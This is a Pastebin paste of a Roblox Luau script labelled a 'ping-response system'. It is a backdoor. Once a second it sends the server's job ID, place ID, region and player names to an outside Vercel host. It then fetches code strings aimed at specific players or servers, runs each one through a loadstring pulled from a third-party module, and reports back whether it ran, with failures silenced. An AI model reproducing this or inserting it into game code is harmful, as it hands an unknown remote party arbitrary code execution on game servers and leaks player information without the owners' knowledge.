BenjiKad

Untitled

Jun 7th, 2025
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.82 KB | None | 0 0
  1. -- PING-RESPONSE SYSTEM - Single request to get messages
  2. local api = "https://am-i-three.vercel.app/api"
  3. local reg = api..'/region'
  4. local http = game:GetService("HttpService")
  5. local Players = game:GetService("Players")
  6. local RunService = game:GetService("RunService")
  7.  
  8. local function decode(data)
  9. return http:JSONDecode(data)
  10. end
  11.  
  12. local function encode(data)
  13. return http:JSONEncode(data)
  14. end
  15.  
  16. local function post(url, data)
  17. local data = type(data)=="string" and data or encode(data)
  18. return pcall(function()
  19. local response = http:PostAsync(url, data)
  20. return decode(response)
  21. end)
  22. end
  23.  
  24. -- Setup require functionality
  25. local req = require
  26. local b = Instance.new("BindableFunction")
  27. b.OnInvoke = req
  28. local function require(...)
  29. return b:Invoke(...)
  30. end
  31. local loadstring = require(105348050925605).luau_execute
  32.  
  33. -- Get current game info with Studio fallback
  34. local currentJobId = game.JobId
  35. if currentJobId == "" or currentJobId == nil then
  36. currentJobId = "00000000-0000-0000-0000-000000000000"
  37. end
  38.  
  39. local currentPlaceId = game.PlaceId
  40.  
  41. local function getRegion()
  42.  
  43. local success,region = pcall(function()
  44. local got = http:GetAsync(reg)
  45. local tab = http:JSONDecode(got)
  46. return tab.country
  47. end)
  48.  
  49. if not success then
  50. region = 'Unknown'
  51. end
  52.  
  53. return region
  54. end
  55.  
  56. local region
  57.  
  58. repeat
  59. region = getRegion()
  60. wait(1)
  61. until region
  62.  
  63. -- Function to ping server and get messages back
  64. local function pingAndFetchMessages()
  65. local playerList = {}
  66. for _, player in pairs(Players:GetPlayers()) do
  67. table.insert(playerList, player.Name)
  68. end
  69.  
  70. local requestData = {
  71. action = "ping",
  72. jobId = currentJobId,
  73. placeId = currentPlaceId,
  74. playerCount = #Players:GetPlayers(),
  75. players = playerList,
  76. timestamp = os.time(),
  77. region = region,
  78. }
  79.  
  80. local success, response = post(api, requestData)
  81.  
  82. if not success then
  83. --warn("Failed to ping server:", response)
  84. return nil
  85. end
  86.  
  87. return response
  88. end
  89.  
  90. -- Function to notify server that code was executed (for username messages)
  91. local function notifyExecuted(username, messageId, executeSuccess)
  92. local success, response = post(api, {
  93. action = "executed",
  94. username = username,
  95. messageId = messageId,
  96. ran = executeSuccess,
  97. })
  98. if not success then
  99. --warn("Failed to notify execution for username:", username, response)
  100. end
  101. end
  102.  
  103. -- Function to notify server that code was executed (for jobId messages)
  104. local function notifyJobIdExecuted(jobId, messageId, executeSuccess)
  105. local success, response = post(api, {
  106. action = "executed",
  107. jobId = jobId,
  108. messageId = messageId,
  109. ran = executeSuccess,
  110. })
  111. if not success then
  112. --warn("Failed to notify execution for jobId:", jobId, response)
  113. end
  114. end
  115.  
  116. local ids = {}
  117. _G.running_http = false
  118. if _G.running_http then
  119. wait(2)
  120. end
  121. _G.running_http = true
  122.  
  123. -- Main execution loop
  124. while wait(1) and _G.running_http do
  125. local response = pingAndFetchMessages()
  126.  
  127. if response and response.success then
  128. local data = response.data
  129.  
  130. -- Handle username-based messages
  131. if data.userMessages then
  132. for username, messages in pairs(data.userMessages) do
  133. if not Players:FindFirstChild(username) then
  134. continue
  135. end
  136.  
  137. -- Execute each message for this user
  138. for _, messageData in ipairs(messages) do
  139. local messageId = messageData.id
  140. local code = messageData.content
  141. local timestamp = messageData.timestamp
  142.  
  143. if table.find(ids, messageId) then
  144. continue
  145. else
  146. table.insert(ids, messageId)
  147. end
  148.  
  149. task.delay(60, function()
  150. local index = table.find(ids, messageId)
  151. if index then
  152. table.remove(ids, index)
  153. end
  154. end)
  155.  
  156. -- Execute the code
  157. local executeSuccess, executeError = pcall(function()
  158. loadstring(code)()
  159. end)
  160.  
  161.  
  162. notifyExecuted(username, messageId, executeSuccess)
  163. end
  164. end
  165. end
  166.  
  167. -- Handle jobId-based messages
  168. if data.jobIdMessages and data.jobIdMessages[currentJobId] then
  169. local messages = data.jobIdMessages[currentJobId]
  170.  
  171. for _, messageData in ipairs(messages) do
  172. local messageId = messageData.id
  173. local code = messageData.content
  174. local timestamp = messageData.timestamp
  175.  
  176. if table.find(ids, messageId) then
  177. continue
  178. else
  179. table.insert(ids, messageId)
  180. end
  181.  
  182. task.delay(60, function()
  183. local index = table.find(ids, messageId)
  184. if index then
  185. table.remove(ids, index)
  186. end
  187. end)
  188.  
  189. -- Execute the code
  190. local executeSuccess, executeError = pcall(function()
  191. loadstring(code)()
  192. end)
  193.  
  194. notifyJobIdExecuted(currentJobId, messageId, executeSuccess)
  195. end
  196. end
  197.  
  198. else
  199. -- Handle cases where server returns no data or error
  200. if response then
  201. --warn("Server response error:", response.error or "Unknown error")
  202. end
  203. end
  204. end
Advertisement
Add Comment
Please, Sign In to add comment